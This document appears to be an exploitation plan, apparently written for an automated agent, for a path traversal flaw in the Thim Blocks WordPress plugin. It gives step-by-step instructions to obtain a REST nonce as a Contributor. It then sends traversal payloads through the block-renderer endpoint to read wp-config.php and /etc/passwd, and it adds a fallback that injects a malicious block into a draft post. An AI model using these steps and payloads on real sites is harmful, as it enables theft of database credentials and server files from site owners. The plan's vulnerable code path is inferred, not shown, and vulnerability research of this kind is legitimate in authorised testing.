Exploitation Research Plan: CVE-2025-13725 (Thim Blocks)

1. Vulnerability Summary

The Thim Blocks plugin (versions <= 1.0.1) contains a path traversal vulnerability in the server-side rendering logic of the thim-blocks/icon Gutenberg block. The iconSVG attribute is used to specify a file path or content for an icon, but the server-side render callback fails to validate or sanitize this path. This allows an authenticated user with at least Contributor permissions (who can create or edit posts) to read arbitrary files from the server's filesystem, including sensitive files like wp-config.php.

2. Attack Vector Analysis

• Block Name: thim-blocks/icon
• Vulnerable Parameter: attributes[iconSVG] (sent via REST API or embedded in post content)
• Endpoint: /wp-json/wp/v2/block-renderer/thim-blocks/icon
• Required Authentication: Contributor or higher.
• Preconditions: The user must be authenticated to WordPress and have a valid REST API nonce (wp_rest action).

3. Code Flow (Inferred)

1. Registration: The plugin registers a Gutenberg block named thim-blocks/icon using register_block_type().
2. Callback: The registration includes a render_callback function (e.g., render_thim_blocks_icon) designed to handle the dynamic rendering of the block on the server.
3. Attribute Access: Inside the callback, the code retrieves the iconSVG attribute: $attributes['iconSVG'].
4. Sink: The code likely passes this attribute directly to a file-reading function like file_get_contents() or include() without checking for directory traversal sequences (../) or ensuring the path is restricted to the plugin's directory.
5. Output: The content of the file is then echoed or returned as part of the block's HTML, which is sent back to the user in the REST API response or rendered on the page.

4. Nonce Acquisition Strategy

The vulnerability is most efficiently exploited via the built-in WordPress Block Renderer REST API. This endpoint requires a nonce for the wp_rest action.

Steps to obtain the wp_rest nonce as a Contributor:

1. Login: Authenticate as the Contributor user.
2. Access Admin: Navigate to a page where the REST API is initialized, such as the "Add New Post" screen (/wp-admin/post-new.php).
3. Extract Nonce: Use browser_eval to extract the nonce from the standard WordPress global object.
   • JavaScript: window.wpApiSettings.nonce
   • Alternative: Look for the _wpnonce value in the wp-admin source or localized scripts.

5. Exploitation Strategy

The goal is to read wp-config.php using the Block Renderer API.

HTTP Request (REST API Method)

• Method: GET
• URL: http://<target>/wp-json/wp/v2/block-renderer/thim-blocks/icon
• Parameters:
  • context: edit
  • attributes[iconSVG]: ../../../../wp-config.php (Adjust depth as necessary)
  • _wpnonce: [Extracted Nonce]
• Headers:
  • Cookie: [Contributor Auth Cookies]

Step-by-Step Plan:

1. Authentication: Log in via http_request or browser_navigate.
2. Nonce Extraction:
   • Navigate to http://<target>/wp-admin/post-new.php.
   • Execute browser_eval("window.wpApiSettings.nonce").
3. File Read Execution:
   • Use http_request to call the block renderer.
   • Payload 1 (Linux): attributes[iconSVG]=../../../../../../../../../../etc/passwd
   • Payload 2 (WordPress): attributes[iconSVG]=../../../../wp-config.php
4. Data Extraction: Parse the JSON response. The file content will likely be inside the rendered key's HTML.

6. Test Data Setup

1. User Creation: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin Activation: Ensure thim-blocks is installed and active.
   • wp plugin activate thim-blocks
3. Target File: Ensure wp-config.php is in the standard location (WordPress root).

7. Expected Results

• Success: The HTTP response status is 200 OK.
• Response Body: A JSON object containing a rendered field.
• Content: The rendered field contains the raw PHP source code of wp-config.php (e.g., <?php ... define('DB_NAME', '...'); ... ?>) or the content of /etc/passwd.

8. Verification Steps

1. Manual Inspection: Check the output of the http_request for string matches like DB_PASSWORD or root:x:0:0:.
2. WP-CLI Comparison: Run wp config get --format=json and compare the database name/credentials found in the exploit output to verify accuracy.

9. Alternative Approaches

If the Block Renderer API is restricted or not behaving as expected:

1. Post Injection:
   • As a Contributor, create a new post.
   • Set the post content to include the malicious block:
     <!-- wp:thim-blocks/icon {"iconSVG":"../../../../wp-config.php"} /-->
   • Save the post as a draft.
   • View the Preview of the post. The preview will trigger the server-side render callback and display the file content in the browser.
2. Traversal Depth: If ../../../../wp-config.php fails, increase depth (e.g., ../../../../../../../../wp-config.php) or try absolute paths if the sink allows (e.g., /var/www/html/wp-config.php).